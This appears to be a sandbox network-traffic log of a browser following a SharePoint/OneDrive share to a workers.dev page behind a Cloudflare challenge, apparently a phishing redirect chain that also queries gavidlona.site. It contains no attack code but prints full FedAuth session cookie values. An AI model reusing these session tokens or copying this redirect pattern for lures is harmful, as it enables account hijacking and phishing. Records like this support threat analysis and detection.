Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?09b3151c0d1489c6b2f376b590c04110 HTTP/1.1Host: tr-ofc-atm.office.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://postureshift-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://postureshift-my.sharepoint.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?bb17b2c59be470c76e2bc56ececf2031 HTTP/1.1Host: tr-ofc-atm.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?09b3151c0d1489c6b2f376b590c04110 HTTP/1.1Host: tr-ofc-atm.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/92570f7a6a7342ac/1742828662214/C9EhEwx8UC_PUM2 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0hkat/0x4AAAAAABCSUejF7k0bAysY/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/92570f7a6a7342ac/1742828662214/C9EhEwx8UC_PUM2 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2120792248:1742826393:WW1IYhuY1Efa_mBNLvF5drCFCfb3Vr8PSL4G3oDSqQk/92570f7a6a7342ac/0swLeoflbICloNwC2zFnT8tYFiogNZAGsX8A5ogCpjI-1742828660-1.1.1.1-q_puIwyi6UWAdslo.JKPetQp4SBpBNEHGk_U6RbjswFYuUzL0ezF0dHJWTlepvUE HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r.gif?MonitorID=O365se&rid=6e4965d77b686c99d76c3305fd386790&w3c=true&prot=https:&v=20190214&tag=[{%22TenantId%22:%2281e50312-74cf-4ac5-b205-211e7cbe5add%22,%22AppId%22:%22Documents%22}]&DATA=[{%22RequestID%22:%22828c4cf9a69e7b22a370909bd0cae8b0%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:1575,%22T%22:128,%22Rip%22:%22161.77.13.0%22,%22Ep%22:%22DOH%22,%22Fe%22:%22cafe%22},{%22RequestID%22:%22828c4cf9a69e7b22a370909bd0cae8b0%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:1405,%22T%22:128,%22Rip%22:%22161.77.13.0%22,%22Ep%22:%22DOH%22,%22Fe%22:%22cafe%22},{%22RequestID%22:%22tr-ofc-atm.office.com%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:733,%22T%22:128,%22Rip%22:%22161.77.13.0%22,%22Ep%22:%22PCA1%22,%22Fe%22:%22WordLB1%22},{%22RequestID%22:%22tr-ofc-atm.office.com%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:613,%22T%22:128,%22Rip%22:%22161.77.13.0%22,%22Ep%22:%22PCA1%22,%22Fe%22:%22WordLB1%22},{%22RequestID%22:%22pp1.prd.bmc.teams.microsoft.com%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:703,%22T%22:128},{%22RequestID%22:%22pp1.prd.bmc.teams.microsoft.com%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:716,%22T%22:128}] HTTP/1.1Host: upload.fp.measure.office.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://postureshift-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://postureshift-my.sharepoint.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r.gif?MonitorID=O365se&rid=6e4965d77b686c99d76c3305fd386790&w3c=true&prot=https:&v=20190214&tag=[{%22TenantId%22:%2281e50312-74cf-4ac5-b205-211e7cbe5add%22,%22AppId%22:%22Documents%22}]&DATA=[{%22RequestID%22:%22828c4cf9a69e7b22a370909bd0cae8b0%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:1575,%22T%22:128,%22Rip%22:%22161.77.13.0%22,%22Ep%22:%22DOH%22,%22Fe%22:%22cafe%22},{%22RequestID%22:%22828c4cf9a69e7b22a370909bd0cae8b0%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:1405,%22T%22:128,%22Rip%22:%22161.77.13.0%22,%22Ep%22:%22DOH%22,%22Fe%22:%22cafe%22},{%22RequestID%22:%22tr-ofc-atm.office.com%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:733,%22T%22:128,%22Rip%22:%22161.77.13.0%22,%22Ep%22:%22PCA1%22,%22Fe%22:%22WordLB1%22},{%22RequestID%22:%22tr-ofc-atm.office.com%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:613,%22T%22:128,%22Rip%22:%22161.77.13.0%22,%22Ep%22:%22PCA1%22,%22Fe%22:%22WordLB1%22},{%22RequestID%22:%22pp1.prd.bmc.teams.microsoft.com%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:703,%22T%22:128},{%22RequestID%22:%22pp1.prd.bmc.teams.microsoft.com%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:716,%22T%22:128}] HTTP/1.1Host: upload.fp.measure.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2120792248:1742826393:WW1IYhuY1Efa_mBNLvF5drCFCfb3Vr8PSL4G3oDSqQk/92570f7a6a7342ac/0swLeoflbICloNwC2zFnT8tYFiogNZAGsX8A5ogCpjI-1742828660-1.1.1.1-q_puIwyi6UWAdslo.JKPetQp4SBpBNEHGk_U6RbjswFYuUzL0ezF0dHJWTlepvUE HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 4be0ad37.9fa87d9d8ff47dcb27e11487.workers.devConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://postureshift-my.sharepoint.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/mtbed/0x4AAAAAABCSUejF7k0bAysY/auto/fbE/new/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://4be0ad37.9fa87d9d8ff47dcb27e11487.workers.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=92570ffa6e8a2142&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/mtbed/0x4AAAAAABCSUejF7k0bAysY/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 4be0ad37.9fa87d9d8ff47dcb27e11487.workers.devConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://4be0ad37.9fa87d9d8ff47dcb27e11487.workers.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 4be0ad37.9fa87d9d8ff47dcb27e11487.workers.devConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1941331435:1742826368:yKxQepp7Ctiy7OZaXwl4ab07qNoYjvDSpBypvbQfjq8/92570ffa6e8a2142/Nr2QJRhtZqqqAjxAo0XiM4jcI8pigtM7Dl_ecLor_WQ-1742828681-1.1.1.1-9LiMpuBwKcjvUTtRSWLpjHpEIIlKfAp7bAxSVXyzBIrsvjDl_ANYSk3GaggC9xGa HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/92570ffa6e8a2142/1742828682794/8AzglWIojwU7pzc HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/mtbed/0x4AAAAAABCSUejF7k0bAysY/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/92570ffa6e8a2142/1742828682794/8AzglWIojwU7pzc HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/92570ffa6e8a2142/1742828682795/a6d8d456800e644ef19de315ad6591795886cfe3a21f12820bab2a67dc33e112/hS1jA8RcNZ94m97 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/mtbed/0x4AAAAAABCSUejF7k0bAysY/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1941331435:1742826368:yKxQepp7Ctiy7OZaXwl4ab07qNoYjvDSpBypvbQfjq8/92570ffa6e8a2142/Nr2QJRhtZqqqAjxAo0XiM4jcI8pigtM7Dl_ecLor_WQ-1742828681-1.1.1.1-9LiMpuBwKcjvUTtRSWLpjHpEIIlKfAp7bAxSVXyzBIrsvjDl_ANYSk3GaggC9xGa HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1941331435:1742826368:yKxQepp7Ctiy7OZaXwl4ab07qNoYjvDSpBypvbQfjq8/92570ffa6e8a2142/Nr2QJRhtZqqqAjxAo0XiM4jcI8pigtM7Dl_ecLor_WQ-1742828681-1.1.1.1-9LiMpuBwKcjvUTtRSWLpjHpEIIlKfAp7bAxSVXyzBIrsvjDl_ANYSk3GaggC9xGa HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /personal/securedocument_postureshift_com/_layouts/15/AccessDenied.aspx?correlation=c5ad8da1%2Df0c7%2D8000%2D8668%2D8c6801b85e1a HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=; FeatureOverrides_experiments=[]

Source: global traffic	DNS traffic detected: DNS query: postureshift-my.sharepoint.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: m365cdn.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: r4.res.office365.com
Source: global traffic	DNS traffic detected: DNS query: config.fp.measure.office.com
Source: global traffic	DNS traffic detected: DNS query: 4be0ad37.9fa87d9d8ff47dcb27e11487.workers.dev
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: 828c4cf9a69e7b22a370909bd0cae8b0.fp.measure.office.com
Source: global traffic	DNS traffic detected: DNS query: tr-ofc-atm.office.com
Source: global traffic	DNS traffic detected: DNS query: upload.fp.measure.office.com
Source: global traffic	DNS traffic detected: DNS query: gavidlona.site
Source: global traffic	DNS traffic detected: DNS query: spo.nel.measure.office.net

Source: unknown

HTTP traffic detected: POST /personal/securedocument_postureshift_com/_api/v2.1/graphql HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-aliveContent-Length: 507X-ServiceWorker-Strategy: CacheFirstsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: application/json;odata=verbosesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: application/json;odata=verbosesec-ch-ua-mobile: ?0Origin: https://postureshift-my.sharepoint.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%2FSharePoint&ga=1Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenCache-Control: no-cache, no-storePragma: no-cacheContent-Length: 59Content-Type: application/jsonExpires: -1P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=; path=/; SameSite=None; secure; HttpOnlyX-NetworkStatistics: 0,4194720,45,334,5662475,2068325,2068325,41937X-SharePointHealthScore: 2X-VroomVersion: 2.0IsOCDI: 0X-DataBoundary: NONEX-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/SPRequestGuid: b8ad8da1-3025-8000-6ce4-9d6467010da4request-id: b8ad8da1-3025-8000-6ce4-9d6467010da4MS-CV: oY2tuCUwAIBs5J1kZwENpA.0Alt-Svc: h3=":443";ma=86400Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=81e50312-74cf-4ac5-b205-211e7cbe5add&destinationEndpoint=Edge-Prod-EWR31r5c&frontEnd=AFD&RemoteIP=161.77.13.0"}]}NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0}Strict-Transport-Security: max-age=31536000X-FRAME-OPTIONS: SAMEORIGINContent-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com teams.cloud.microsoft *.office365.com goals.cloud.microsoft *.powerapps.com *.powerbi.com *.yammer.com 